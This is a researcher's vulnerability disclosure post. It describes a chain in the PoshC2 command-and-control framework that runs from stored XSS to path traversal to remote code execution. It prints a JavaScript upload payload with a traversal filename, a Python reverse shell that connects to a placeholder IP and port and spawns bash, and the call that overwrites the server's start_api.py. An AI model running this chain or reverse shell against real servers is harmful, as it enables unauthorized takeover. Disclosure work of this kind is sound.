Post

PoshC2 RCE - CVE-2024-53304

Unauthenticated RCE in PoshC2

PoshC2 RCE - CVE-2024-53304

PoC: https://gist.github.com/fern89/3464e8428d7675e4f0f390a6b2b2842e

Background

PoshC2 is an open-source proxy aware C2 framework used to aid red teamers with post-exploitation and lateral movement, with over 1.8k stars on GitHub, a page on MITRE, and being abused by groups APT33 and HEXANE. I have discovered a stored XSS within the control panel, along with a path traversal vulnerability, that effectively allows an unauthenticated attacker to gain RCE on the server running the framework.

Stored XSS

Combing through the code, we find a very odd looking line at line 51 in resources/html-templates/c2view.html.

1
2
3
{% autoescape false %}
{{ task.output | replace("\n\n","<br />") | replace("\n","<br />")}}
{% endautoescape %}

Importantly, pay attention to the {% autoescape false %}. Note that by default, Flask will autoescape all inputs in Jinja2 templates. I understand that the developers likely did this to prevent <br /> from being escaped as well, but this leads to a critical XSS vulnerability, as the task.output variable is not manually escaped beforehand. As such, by posing as a client, and sending a malicious response to any task issued, we effectively gain the arbitrary JavaScript execution on the operator’s browser! Unfortunately, this is not a zero-interaction exploit, as we still need the operator to attempt to run a command on the victim (even help is sufficient), but realistically, this will nearly always happen.

Now, the code to act as a client, and send a malicious response, is rather complicated, due to the large amounts of encryption being used. As such, for purpose of brevity, I will omit the code, from this blog post, if you are interested, check out the PoC linked above.

XSS to arbitrary file write

Now, an XSS on its own is already pretty darn powerful for a C2 control panel, as we can effectively steal all connected clients without need for any further exploit. But I would like to go further, and get the holy grail of RCE on the server. So we will continue on to our next vulnerability in the chain, the path traversal.

Let us take a look at the control panel. We can see a place for you to upload payloads:

Image of a button that says Upload

Now, from experience, I wager a guess that a path traversal vulnerability is existent. Authenticated control panels tend to be notoriously insecure, and riddled with vulnerabilities. Lo and behold, there indeed is one here! Let us take a look at line 326 of start_api.py.

1
file.save(os.path.join(PAYLOADS_DIR, file.filename))

Note that os.path.join is used, with no escaping whatsoever on file.filename. This gives us a path traversal, and hence arbitrary file write! Hence, we can combine this with the XSS, allowing for unauthenticated arbitrary file write!

1
2
3
4
5
6
7
8
9
function myUpload(text, uploadUrl, newFileName) {
    var formData = new FormData();
    formData.append('file', new Blob([text], {type: 'text/plain'}), newFileName);
    fetch(uploadUrl, {
        method: 'POST',
        body: formData
    })
}
myUpload('data', "/file/upload", "../../../../../../../../../test.txt");

Arbitrary file write to RCE

Finally, time for the RCE. There are a great many ways to do this, since the service seems to run by default as root, but by far the easiest, is to abuse Flask.

Let us take a look at line 543 in start_api.py. We note that by default, the webserver is running in debug mode. Now, this on its own isn’t a vulnerability per se, but it surely is pretty bad practice (as it is very likely nearly all the users of this software are insufficiently knowledgeable about security to know why switching to a production server is a very good idea). If there is an LFI somewhere, it is relatively trivial to obtain RCE as well via Werkzeug PIN reversing.

Back on topic, why am I pointing this out? Well, another interesting quirk of Flask debug mode, is that it is constantly polling for changes to the .py files, and restarting them whenever that happens! This is great for developers, who just want to hit Ctrl+S and refresh the webpage, and also great for us, as now we have a quick, easy, and most importantly consistent, target to override, with code that will be giving us a reverse shell! We will be overriding the start_api.py file, found in /opt/PoshC2/start_api.py.

Let’s generate a Python reverse shell from revshells.com,

1
2
3
import os,pty,socket;s=socket.socket();
s.connect(([IP], [PORT]));[os.dup2(s.fileno(),f)for f in(0,1,2)];
pty.spawn("/bin/bash")

We call this code from the XSS:

1
myUpload('[REVSHELL]',"/file/upload","../../../../../../../../../opt/PoshC2/start_api.py");

Now, when the XSS payload is called, the arbitrary file override is triggered, Flask sees the Python file changing, and restarts it, giving us our RCE! Great success!

Conclusion

By chaining these 2 vulnerabilities together, we managed to gain unauthenticated RCE, requiring minimal user interaction. Here is the entire chain in action once more.

Once again, here is the PoC.

Disclosure

2024-10-27 - Found and reported vulnerability to Nettitude Labs

This post is licensed under CC BY 4.0 by the author.